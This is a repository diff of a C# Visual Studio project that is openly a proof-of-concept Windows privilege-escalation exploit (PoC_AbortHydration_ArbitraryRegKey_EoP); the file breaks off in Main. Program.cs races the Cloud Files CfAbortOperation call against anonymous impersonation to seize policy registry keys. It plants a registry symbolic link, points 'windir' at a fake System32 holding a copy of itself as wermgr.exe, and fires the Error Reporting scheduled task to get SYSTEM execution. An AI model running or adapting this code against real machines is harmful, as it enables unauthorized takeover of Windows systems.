SolutionGuid = {AC46CFC5-1E96-44EF-8DC8-8D76B107B781}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<startup>
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8.1"/>
|
||||
</startup>
|
||||
</configuration>
|
||||
@@ -0,0 +1,3 @@
|
||||
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
|
||||
<Costura />
|
||||
</Weavers>
|
||||
@@ -0,0 +1,186 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
|
||||
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
|
||||
<xs:element name="Weavers">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element name="Costura" minOccurs="0" maxOccurs="1">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimes" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtimes to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimes" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtimes names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Obsolete, use UnmanagedWinX86Assemblies instead</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinX86Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Obsolete, use UnmanagedWinX64Assemblies instead.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinX64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinArm64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeRuntimeReferences" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if runtime assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="UseRuntimeReferencePaths" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls whether the runtime assemblies are embedded with their full path or only with their assembly name.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCompression" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCleanup" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableEventSubscription" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Obsolete, use UnmanagedWinX86Assemblies instead</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="UnmanagedWinX86Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged X86 (32 bit) assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Obsolete, use UnmanagedWinX64Assemblies instead</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="UnmanagedWinX64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged X64 (64 bit) assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="UnmanagedWinArm64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="VerifyAssembly" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="GenerateXsd" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:schema>
|
||||
+125
@@ -0,0 +1,125 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="..\packages\Costura.Fody.6.2.0\build\Costura.Fody.props" Condition="Exists('..\packages\Costura.Fody.6.2.0\build\Costura.Fody.props')" />
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}</ProjectGuid>
|
||||
<OutputType>Exe</OutputType>
|
||||
<UseAppHost>true</UseAppHost>
|
||||
<RootNamespace>PoC_AbortHydration_ArbitraryRegKey_EoP</RootNamespace>
|
||||
<AssemblyName>PoC_AbortHydration_ArbitraryRegKey_EoP</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.8.1</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
|
||||
<Deterministic>true</Deterministic>
|
||||
<IsWebBootstrapper>false</IsWebBootstrapper>
|
||||
<NuGetPackageImportStamp>
|
||||
</NuGetPackageImportStamp>
|
||||
<TargetFrameworkProfile />
|
||||
<PublishUrl>publish\</PublishUrl>
|
||||
<Install>true</Install>
|
||||
<InstallFrom>Disk</InstallFrom>
|
||||
<UpdateEnabled>false</UpdateEnabled>
|
||||
<UpdateMode>Foreground</UpdateMode>
|
||||
<UpdateInterval>7</UpdateInterval>
|
||||
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
|
||||
<UpdatePeriodically>false</UpdatePeriodically>
|
||||
<UpdateRequired>false</UpdateRequired>
|
||||
<MapFileExtensions>true</MapFileExtensions>
|
||||
<ApplicationRevision>1</ApplicationRevision>
|
||||
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
|
||||
<UseApplicationTrust>false</UseApplicationTrust>
|
||||
<PublishWizardCompleted>true</PublishWizardCompleted>
|
||||
<BootstrapperEnabled>true</BootstrapperEnabled>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<ManifestCertificateThumbprint>0F28BB121C2D5CEE6A57C741514F51E5F2D9ECAD</ManifestCertificateThumbprint>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<ManifestKeyFile>PoC_AbortHydration_ArbitraryRegKey_EoP_TemporaryKey.pfx</ManifestKeyFile>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<GenerateManifests>true</GenerateManifests>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<SignManifests>true</SignManifests>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Costura, Version=6.2.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Costura.Fody.6.2.0\lib\netstandard2.0\Costura.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="Microsoft.Win32.TaskScheduler, Version=2.12.1.0, Culture=neutral, PublicKeyToken=2806574b39b74d4b, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\TaskScheduler.2.12.2\lib\net48\Microsoft.Win32.TaskScheduler.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="NtApiDotNet, Version=1.0.0.0, Culture=neutral, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\NtApiDotNet.1.1.33\lib\net461\NtApiDotNet.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.ComponentModel.Composition" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.DirectoryServices" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.IO.Compression.FileSystem" />
|
||||
<Reference Include="System.Numerics" />
|
||||
<Reference Include="System.Security" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="App.config" />
|
||||
<None Include="packages.config" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<BootstrapperPackage Include=".NETFramework,Version=v4.7.2">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>Microsoft .NET Framework 4.7.2 %28x86 and x64%29</ProductName>
|
||||
<Install>true</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework 3.5 SP1</ProductName>
|
||||
<Install>false</Install>
|
||||
</BootstrapperPackage>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<Import Project="..\packages\Fody.6.9.3\build\Fody.targets" Condition="Exists('..\packages\Fody.6.9.3\build\Fody.targets')" />
|
||||
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
|
||||
<PropertyGroup>
|
||||
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
|
||||
</PropertyGroup>
|
||||
<Error Condition="!Exists('..\packages\Fody.6.9.3\build\Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Fody.6.9.3\build\Fody.targets'))" />
|
||||
<Error Condition="!Exists('..\packages\Costura.Fody.6.2.0\build\Costura.Fody.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Costura.Fody.6.2.0\build\Costura.Fody.props'))" />
|
||||
<Error Condition="!Exists('..\packages\Costura.Fody.6.2.0\build\Costura.Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Costura.Fody.6.2.0\build\Costura.Fody.targets'))" />
|
||||
</Target>
|
||||
<Import Project="..\packages\Costura.Fody.6.2.0\build\Costura.Fody.targets" Condition="Exists('..\packages\Costura.Fody.6.2.0\build\Costura.Fody.targets')" />
|
||||
</Project>
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<PublishUrlHistory>publish\</PublishUrlHistory>
|
||||
<InstallUrlHistory />
|
||||
<SupportUrlHistory />
|
||||
<UpdateUrlHistory />
|
||||
<BootstrapperUrlHistory />
|
||||
<ErrorReportUrlHistory />
|
||||
<FallbackCulture>en-US</FallbackCulture>
|
||||
<VerifyUploadedFiles>false</VerifyUploadedFiles>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,369 @@
|
||||
using Microsoft.Win32;
|
||||
using Microsoft.Win32.TaskScheduler;
|
||||
using NtApiDotNet;
|
||||
using NtApiDotNet.Win32;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.IO.Pipes;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.AccessControl;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Permissions;
|
||||
using System.Threading;
|
||||
|
||||
namespace PoC_AbortHydration_ArbitraryRegKey_EoP
|
||||
{
|
||||
static class Program
|
||||
{
|
||||
static NtKey OpenKey(NtKey root, string path, KeyAccessRights desired_access)
|
||||
{
|
||||
Console.WriteLine("Opening for {0}", desired_access);
|
||||
using (var obja = new ObjectAttributes(path, AttributeFlags.OpenLink, root))
|
||||
{
|
||||
using (var key = NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile, false))
|
||||
{
|
||||
if (key.IsSuccess)
|
||||
return key.Result.Duplicate();
|
||||
}
|
||||
|
||||
using (var imp = NtThread.Current.ImpersonateAnonymousToken())
|
||||
{
|
||||
return NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void SetSecurityDescriptor(NtKey key, SecurityInformation info)
|
||||
{
|
||||
var sd = new SecurityDescriptor("D:(A;OICIIO;GA;;;WD)(A;OICIIO;GA;;;AN)(A;;GA;;;WD)(A;;GA;;;AN)S:(ML;OICI;NW;;;S-1-16-0)");
|
||||
key.SetSecurityDescriptor(sd, info);
|
||||
}
|
||||
|
||||
static void ForceKeyDeleteKey(NtKey root, string name)
|
||||
{
|
||||
Console.WriteLine(@"Deleting {0}\{1}", root.FullPath, name);
|
||||
using (var key = OpenKey(root, name, KeyAccessRights.WriteDac))
|
||||
{
|
||||
Console.WriteLine("Opened for WriteDac");
|
||||
SetSecurityDescriptor(key, SecurityInformation.Dacl);
|
||||
}
|
||||
|
||||
using (var key = OpenKey(root, name, KeyAccessRights.WriteOwner))
|
||||
{
|
||||
Console.WriteLine("Opened for WriteOwner");
|
||||
SetSecurityDescriptor(key, SecurityInformation.Label);
|
||||
}
|
||||
|
||||
using (var new_key = OpenKey(root, name, KeyAccessRights.Delete | KeyAccessRights.EnumerateSubKeys))
|
||||
{
|
||||
Console.WriteLine("Opened for enumerate.");
|
||||
DeleteRegistryTree(new_key);
|
||||
new_key.Delete();
|
||||
}
|
||||
}
|
||||
|
||||
static void DeleteRegistryTree(NtKey root)
|
||||
{
|
||||
foreach (var name in root.QueryKeys())
|
||||
{
|
||||
ForceKeyDeleteKey(root, name);
|
||||
}
|
||||
}
|
||||
|
||||
[Flags]
|
||||
enum AbortHydrationFlags
|
||||
{
|
||||
None = 0,
|
||||
Unblock = 1,
|
||||
Block = 2,
|
||||
}
|
||||
|
||||
[DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
|
||||
static extern int CfAbortOperation(int pid, IntPtr unknown, AbortHydrationFlags flags);
|
||||
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct CF_PLATFORM_INFO
|
||||
{
|
||||
public int BuildNumber;
|
||||
public int RevisionNumber;
|
||||
public int IntegrationNumber;
|
||||
}
|
||||
|
||||
[DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
|
||||
static extern int CfGetPlatformInfo(
|
||||
out CF_PLATFORM_INFO PlatformVersion
|
||||
);
|
||||
|
||||
static void ForceTokenThread(object obj)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var thread = (NtThread)obj)
|
||||
{
|
||||
Console.WriteLine("In force token thread {0}", thread);
|
||||
using (var token = TokenUtils.GetAnonymousToken())
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
thread.SetImpersonationToken(token);
|
||||
thread.SetImpersonationToken(null);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch(ThreadAbortException)
|
||||
{
|
||||
return;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(ex);
|
||||
}
|
||||
}
|
||||
|
||||
const string ROOT_KEY = @"\Registry\User\.DEFAULT\Software\Policies\Microsoft";
|
||||
static string CLOUD_FILES = $@"{ROOT_KEY}\CloudFiles";
|
||||
static string BLOCKED_APPS = $@"{CLOUD_FILES}\BlockedApps";
|
||||
const string TARGET_KEY = @"\Registry\User\.DEFAULT\Volatile Environment";
|
||||
|
||||
static void CheckKeyThread(object root_key)
|
||||
{
|
||||
string path = (bool)root_key ? ROOT_KEY : @"\Registry\User\.DEFAULT";
|
||||
try
|
||||
{
|
||||
using (var key = NtKey.Open(path, null, KeyAccessRights.MaximumAllowed))
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
if (key.NotifyChange(NotifyCompletionFilter.Name, true) == NtStatus.STATUS_NOTIFY_ENUM_DIR)
|
||||
{
|
||||
Console.WriteLine("Change detected.");
|
||||
Environment.Exit(0);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(ex);
|
||||
}
|
||||
}
|
||||
|
||||
static int Check(this int hr)
|
||||
{
|
||||
if (hr < 0)
|
||||
Marshal.ThrowExceptionForHR(hr);
|
||||
return hr;
|
||||
}
|
||||
|
||||
const int MAX_STAGE = 4;
|
||||
|
||||
static void Stage0()
|
||||
{
|
||||
for (int i = 1; i < MAX_STAGE; ++i)
|
||||
{
|
||||
Win32ProcessConfig config = new Win32ProcessConfig
|
||||
{
|
||||
CommandLine = $"run {i}",
|
||||
ApplicationName = typeof(Program).Assembly.Location,
|
||||
TerminateOnDispose = true
|
||||
};
|
||||
|
||||
using (var p = Win32Process.CreateProcess(config))
|
||||
{
|
||||
if (p.Process.Wait(10) != NtStatus.STATUS_SUCCESS)
|
||||
{
|
||||
throw new ArgumentException($"Failed to run stage {i}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void Stage1(bool root_key)
|
||||
{
|
||||
Thread check_key_th = new Thread(CheckKeyThread);
|
||||
check_key_th.IsBackground = true;
|
||||
check_key_th.Start(root_key);
|
||||
Thread.Sleep(1000);
|
||||
|
||||
var th = NtThread.OpenCurrent();
|
||||
var anon_thread = new Thread(ForceTokenThread)
|
||||
{
|
||||
IsBackground = true
|
||||
};
|
||||
anon_thread.Start(th);
|
||||
|
||||
while (true)
|
||||
{
|
||||
CfAbortOperation(NtProcess.Current.ProcessId,
|
||||
IntPtr.Zero, AbortHydrationFlags.Block);
|
||||
}
|
||||
}
|
||||
|
||||
static void Stage2()
|
||||
{
|
||||
using (var key = OpenKey(null, CLOUD_FILES, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner | KeyAccessRights.EnumerateSubKeys))
|
||||
{
|
||||
SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label);
|
||||
DeleteRegistryTree(key);
|
||||
}
|
||||
|
||||
NtKey.CreateSymbolicLink(BLOCKED_APPS, null, TARGET_KEY);
|
||||
Stage1(false);
|
||||
}
|
||||
|
||||
static void Stage3()
|
||||
{
|
||||
using (var key = OpenKey(null, BLOCKED_APPS, KeyAccessRights.Delete))
|
||||
{
|
||||
Console.WriteLine("Cleaning up link {0}", key.FullPath);
|
||||
key.Delete();
|
||||
}
|
||||
|
||||
using (var key = OpenKey(null, TARGET_KEY, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner))
|
||||
{
|
||||
SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label);
|
||||
}
|
||||
var key2 = Registry.Users.OpenSubKey(@".DEFAULT\Volatile Environment", RegistryRights.FullControl);
|
||||
foreach(var subkey in key2.GetSubKeyNames())
|
||||
{
|
||||
var fullsubkey = TARGET_KEY + @"\" + subkey;
|
||||
Console.WriteLine("Cleaning up subkey {0}", fullsubkey);
|
||||
NtKey _subkey;
|
||||
try
|
||||
{
|
||||
_subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.WriteDac);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
|
||||
_subkey = OpenKey(null, fullsubkey, KeyAccessRights.WriteDac);
|
||||
}
|
||||
SetSecurityDescriptor(_subkey, SecurityInformation.Dacl);
|
||||
_subkey.Close();
|
||||
_subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.Delete);
|
||||
_subkey.Delete();
|
||||
_subkey.Close();
|
||||
}
|
||||
|
||||
key2.Close();
|
||||
using(NtKey ntarget = NtKey.Open(TARGET_KEY,null,KeyAccessRights.SetValue))
|
||||
{
|
||||
ntarget.SetValue("windir", Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName));
|
||||
}
|
||||
|
||||
string fakesys32 = Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName) + @"\System32";
|
||||
Directory.CreateDirectory(fakesys32);
|
||||
string fakewer = fakesys32 + @"\wermgr.exe";
|
||||
File.Copy(Process.GetCurrentProcess().MainModule.FileName, fakewer, true);
|
||||
|
||||
var srvnamedpipe = new NamedPipeServerStream("MiniPlasmaWERPipe");
|
||||
System.Threading.Tasks.Task pipewait = srvnamedpipe.WaitForConnectionAsync();
|
||||
|
||||
using (TaskService tasksvc = new TaskService())
|
||||
{
|
||||
Task wertask = tasksvc.GetTask(@"\Microsoft\Windows\Windows Error Reporting\QueueReporting");
|
||||
wertask.Run();
|
||||
wertask.Dispose();
|
||||
}
|
||||
if(!pipewait.Wait(2000))
|
||||
{
|
||||
Console.WriteLine("Exploit failed.");
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("Exploit succeeded.");
|
||||
}
|
||||
srvnamedpipe.Dispose();
|
||||
Thread.Sleep(1000);
|
||||
try
|
||||
{
|
||||
File.Delete(fakewer);
|
||||
Directory.Delete(fakesys32);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{ }
|
||||
using (NtKey ntarget = NtKey.Open(TARGET_KEY, null, KeyAccessRights.Delete))
|
||||
{
|
||||
ntarget.Delete(false);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool GetNamedPipeServerSessionId(IntPtr Pipe, out UInt32 ClientProcessId);
|
||||
|
||||
static void Main(string[] args)
|
||||
{
|
||||
bool isSystem;
|
||||
using (var identity = System.Security.Principal.WindowsIdentity.GetCurrent())
|
||||
{
|
||||
isSystem = identity.IsSystem;
|
||||
}
|
||||
if (isSystem)
|
||||
{
|
||||
Environment.SetEnvironmentVariable("windir", @"C:\Windows",EnvironmentVariableTarget.Process);
|
||||
var namedpipeclient = new NamedPipeClientStream("MiniPlasmaWERPipe");
|
||||
namedpipeclient.Connect();
|
||||
UInt32 nSesID;
|
||||
IntPtr hPipe = namedpipeclient.SafePipeHandle.DangerousGetHandle();
|
||||
